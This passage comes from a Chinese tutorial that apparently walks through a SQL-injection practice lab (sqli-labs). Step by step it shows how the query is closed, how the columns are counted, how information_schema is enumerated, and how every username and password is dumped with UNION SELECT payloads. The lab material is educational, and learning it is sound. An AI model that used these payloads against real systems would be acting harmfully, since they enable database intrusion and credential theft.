&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;7
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;8
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&amp;#39;&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;((&amp;#39;&amp;#39;))
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;(&amp;#34;&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;((&amp;#34;&amp;#34;))
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;(())
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;没有闭合方式
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;补充1：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;\&lt;/code&gt;称为转义字符，可以把自己后面的第一个东西当作字符串去执行&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;我们传入以下参数：&lt;code&gt;2\&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;有如下报错：&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://free.picui.cn/free/2025/11/28/69298f0c3f5d4.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;我们选取其中核心部分&lt;code&gt;&#39;&#39;2\&#39; LIMIT 0,1&#39;&lt;/code&gt;去掉头尾&lt;font style=&#34;color:#DF2A3F;&#34;&gt;（因为头尾用来闭合的符号是php报错语句携带的，不是真实代码）&lt;/font&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;err&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;\&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;LIMIT&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;由此得知该数据库的查询语句是单引号&lt;code&gt;&#39;&#39;&lt;/code&gt;闭合&lt;/p&gt;
&lt;p&gt;因此大概估计查询语句可能为&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;select&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;username&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;password&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;from&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;tablex&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;where&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;id&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;$id&amp;#39;&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;limit&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;strong&gt;&lt;font style=&#34;color:#DF2A3F;&#34;&gt;解释：&lt;/font&gt;&lt;/strong&gt;&lt;font style=&#34;color:#DF2A3F;&#34;&gt;此处&lt;/font&gt;&lt;code&gt;limit a,b&lt;/code&gt;&lt;font style=&#34;color:#DF2A3F;&#34;&gt;语法指从数据表的第a条起选取b条数据&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;&lt;font style=&#34;color:#DF2A3F;&#34;&gt;数据表条目要从第0个开始数&lt;/font&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;补充2：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;数据库的注释符：&lt;code&gt;--&lt;/code&gt;、&lt;code&gt;/**/&lt;/code&gt;、&lt;code&gt;#&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;+&lt;/code&gt;在GET请求里相当于空格&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;code&gt;+&lt;/code&gt;一般配合&lt;code&gt;--&lt;/code&gt;作为GET请求的注释符使用&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;接下来我们传入参数&lt;code&gt;id=2&#39; --+&lt;/code&gt;，那么拼成的语句是：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;select&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;username&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;password&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;from&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;tablex&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;where&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;id&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;2&amp;#39;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;--+&lt;/span&gt; &lt;span class=&#34;err&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;limit&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;由于&lt;code&gt;--&lt;/code&gt;把后面的内容都注释掉了，实际上执行的数据库语句应该是：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;select&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;username&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;password&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;from&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;tablex&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;where&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;id&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;2&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;提交参数发现查询正常（如图），说明它真的是用&lt;code&gt;&#39;&#39;&lt;/code&gt;进行闭合的&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://free.picui.cn/free/2025/11/28/69298f0c43d19.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;后日谈：&lt;/strong&gt; 也可以用永真或永假条件进行测试，即传入&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;OR 1=1	//永真
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;OR 1=2	//永假
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;step2确定查询了多少个栏目&#34;&gt;Step2：确定查询了多少个栏目
&lt;/h3&gt;&lt;p&gt;从现在开始我们要调用各种语法查询数据，&lt;font style=&#34;color:#DF2A3F;&#34;&gt;记住之后的语法全部都是插入在&lt;/font&gt;&lt;code&gt;2&#39; {} --+&lt;/code&gt;&lt;font style=&#34;color:#DF2A3F;&#34;&gt;中的花括号位置！&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;因为之前的语句中username,password栏目是猜测的，所以接下来要核实究竟有多少个栏目&lt;/p&gt;
&lt;p&gt;传入参数&lt;code&gt;2&#39; order by [数字] --+&lt;/code&gt;使用二分法查看&lt;/p&gt;
&lt;p&gt;依次传参，其中数字填为10、5、3&amp;hellip;&amp;hellip;&lt;/p&gt;
&lt;p&gt;当数字最大为&lt;strong&gt;3&lt;/strong&gt;时有结果，改为&lt;strong&gt;4&lt;/strong&gt;时没有结果&lt;/p&gt;
&lt;p&gt;因此确定查询出了&lt;strong&gt;3&lt;/strong&gt;个栏目，之前的猜测错误&lt;/p&gt;
&lt;p&gt;修正：可能的查询项目是&lt;code&gt;id,username,password&lt;/code&gt;&lt;/p&gt;
&lt;h3 id=&#34;step3显示报错位&#34;&gt;Step3：显示报错位
&lt;/h3&gt;&lt;p&gt;传入参数&lt;code&gt;2&#39; union select 1,2,3  --+&lt;/code&gt;返回结果&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://free.picui.cn/free/2025/11/28/69298f0c8d1b4.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;但是我们想要让查询的1,2,3显示出来，所以要故意让&lt;code&gt;union&lt;/code&gt;之前的查询语句出错掩盖掉正常数据&lt;/p&gt;
&lt;p&gt;传入参数&lt;code&gt;-2&#39; union select 1,2,3  --+&lt;/code&gt;返回结果&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://free.picui.cn/free/2025/11/28/69298f0c7a6ae.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;说明2、3号位是报错位（显示位）&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;补充3：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;union select a,b,c&lt;/code&gt;语法为&lt;strong&gt;联合查询&lt;/strong&gt;，方便我们将两条查询语句捆绑起来一起执行，&lt;font style=&#34;color:#DF2A3F;&#34;&gt;而且即便其中一条查询语句报错也不影响另一条查询语句输出结果&lt;/font&gt;，本地演示效果如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://free.picui.cn/free/2025/11/28/69298f0c781ab.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;第二条select查询的1,2,3正好与前面查询的3个项目一一对应显示，&lt;strong&gt;&lt;font style=&#34;color:#DF2A3F;&#34;&gt;因此第二条select内容务必参照Step2中获得的查询栏目数填写！&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&#34;step4查看数据库的库名&#34;&gt;Step4：查看数据库的库名
&lt;/h3&gt;&lt;p&gt;使用语法&lt;code&gt;database()&lt;/code&gt;替换任意报错位&lt;/p&gt;
&lt;p&gt;传入参数&lt;code&gt;-2&#39; union select 1,database(),3  --+&lt;/code&gt;返回结果:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://free.picui.cn/free/2025/11/28/69298f1fca874.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;此时2号位对应显示的就是数据库的库名：security&lt;/p&gt;
&lt;h3 id=&#34;step5根据库名查看表名&#34;&gt;Step5：根据库名查看表名
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;补充4：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;数据库中一般有一个库名为&lt;code&gt;information_schema&lt;/code&gt;其中有名为&lt;code&gt;TABLES&lt;/code&gt;的数据表，里面统计了各个数据库名及其对应包含的表名，其中数据库名所在的列（栏目）为&lt;code&gt;TABLE_SCHNEMA&lt;/code&gt;，数据表名所在的列（栏目）为&lt;code&gt;TABLE_NAME&lt;/code&gt;，如图&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://free.picui.cn/free/2025/11/28/69298f2017a19.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
	
&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;所以我们要编辑一下第二条查询语句让他能查询到&lt;code&gt;information_schema&lt;/code&gt;库中&lt;code&gt;TABLES&lt;/code&gt;表中的&lt;code&gt;TABLE_NAME&lt;/code&gt;栏目，并且要限制条件TABLE_SCHEMA=&amp;lsquo;security&amp;rsquo;，整合一下需求：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39; union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLE_SCHEMA=&amp;#39;&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;security&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;&amp;#39;&lt;/span&gt;  &lt;span class=&#34;o&#34;&gt;--+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;为了方便一个个查询符合的数据（一个个查看security库中的表名）我们可以在第二条语句后面补充&lt;code&gt;limit 0,1&lt;/code&gt;，之后依次修改前一个数字为1、2、3、4&amp;hellip;&amp;hellip;即可，也就是：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39; union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLE_SCHEMA=&amp;#39;&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;security&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;limit&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;--+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;传入参数后发现有4张表：&lt;code&gt;emails  referers  uagents  users&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;显然&lt;code&gt;users&lt;/code&gt;这个表对我们应该更有用&lt;/p&gt;
&lt;h3 id=&#34;step6查询所需表的列栏目名&#34;&gt;Step6：查询所需表的列（栏目）名
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;补充5：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;information_schema&lt;/code&gt;这个库中还有一个名为&lt;code&gt;COLUMNS&lt;/code&gt;的表，里面记录了某个数据库（TABLE_SCHEMA）当中每个表（&lt;code&gt;TABLE_NAME&lt;/code&gt;）里包含的栏目(&lt;code&gt;COLUMN_NAME&lt;/code&gt;)&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://free.picui.cn/free/2025/11/28/69298f1fe187f.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;后日谈：&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&#34;info-schema-article-fragment&#34; style=&#34;position:relative;padding:80px 20px;display:flex;justify-content:center;align-items:center;font-family:&#39;Microsoft YaHei&#39;,sans-serif;width:100%;box-sizing:border-box;&#34;&gt;&lt;style&gt;.info-schema-article-fragment .outer-container{display:flex;align-items:center;gap:50px;background-color:#f3e5f5;border:4px solid #6a11cb;border-radius:20px;padding:40px 50px;box-shadow:0 8px 16px rgba(106,17,203,0.2);}.info-schema-article-fragment .table-container{display:flex;flex-direction:column;align-items:center;gap:15px;background-color:#e0f7fa;border:3px solid #11cbbb;border-radius:15px;padding:25px 30px;min-width:220px;}.info-schema-article-fragment .table-container.columns{background-color:#e3f2fd;border-color:#118ab2;}.info-schema-article-fragment .table-title{color:#2d3436;font-size:16px;font-weight:bold;text-align:center;}.info-schema-article-fragment .fields-container{display:flex;flex-direction:column;gap:10px;width:100%;}.info-schema-article-fragment .field-node{background-color:#ffd166;color:#2d3436;padding:12px 15px;border-radius:10px;font-size:14px;text-align:center;box-shadow:0 2px 4px rgba(0,0,0,0.1);}.info-schema-article-fragment .field-node.special{background-color:#f8a4d8;}.info-schema-article-fragment .top-label{position:absolute;top:40px;left:50%;transform:translateX(-50%);color:#6a11cb;font-size:18px;font-weight:bold;}&lt;/style&gt;&lt;div class=&#34;top-label&#34;&gt;information_schema（MySQL元数据系统库）&lt;/div&gt;&lt;div class=&#34;outer-container&#34;&gt;&lt;div class=&#34;table-container tables&#34;&gt;&lt;div class=&#34;table-title&#34;&gt;tables 表&lt;br/&gt;(表元数据)&lt;/div&gt;&lt;div class=&#34;fields-container&#34;&gt;&lt;div class=&#34;field-node&#34;&gt;TABLE_SCHEMA&lt;br/&gt;表所属数据库名&lt;/div&gt;&lt;div class=&#34;field-node&#34;&gt;TABLE_NAME&lt;br/&gt;表名称&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&#34;table-container columns&#34;&gt;&lt;div class=&#34;table-title&#34;&gt;columns 表&lt;br/&gt;(列元数据)&lt;/div&gt;&lt;div class=&#34;fields-container&#34;&gt;&lt;div class=&#34;field-node&#34;&gt;TABLE_SCHEMA&lt;br/&gt;字段所属数据库名&lt;/div&gt;&lt;div class=&#34;field-node&#34;&gt;TABLE_NAME&lt;br/&gt;字段所属表名&lt;/div&gt;&lt;div class=&#34;field-node special&#34;&gt;COLUMN_NAME&lt;br/&gt;字段名&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;p&gt;所以我们现在的需求就是去&lt;code&gt;information_schema.COLUMNS&lt;/code&gt;表中查找&lt;code&gt;COLUMN_NAME&lt;/code&gt;栏目来看看security里users这个表有哪些栏目，并且添加限定条件&lt;code&gt;TABLE_SCHEMA=&#39;security&#39; and TABLE_NAME=&#39;users&#39;&lt;/code&gt;整合需求得到以下参数&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39; union select 1,COLUMN_NAME,3 from information_schema.COLUMNS where TABLE_SCHEMA=&amp;#39;&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;security&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39; and TABLE_NAME=&amp;#39;&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;users&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;&amp;#39;&lt;/span&gt;  &lt;span class=&#34;nx&#34;&gt;limit&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;--+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;依次修改limit的值发现有这三个栏目：&lt;code&gt;id  username password&lt;/code&gt;&lt;/p&gt;
&lt;h3 id=&#34;step7全部取出username及对应password&#34;&gt;Step7：全部取出username及对应password
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;补充6：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;使用&lt;code&gt;group_concat(栏目名)&lt;/code&gt;可以取出对应栏目的所有数据&lt;/p&gt;
&lt;hr&gt;
&lt;h4 id=&#34;方法一group_concat语法&#34;&gt;方法一：group_concat()语法
&lt;/h4&gt;&lt;p&gt;传入以下参数：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;union&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;select&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;group_concat&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;username&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;),&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;group_concat&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;password&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;from&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;users&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;--+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;返回结果：&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://free.picui.cn/free/2025/11/28/69298f2006d9c.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;注：此方法在之前需要使用&lt;code&gt;limit&lt;/code&gt;语法的地方也可尝试&lt;/p&gt;
&lt;h4 id=&#34;方法二limit-ab-语法&#34;&gt;方法二：limit a,b 语法
&lt;/h4&gt;&lt;p&gt;适用情况：网站有输出长度限制&lt;/p&gt;
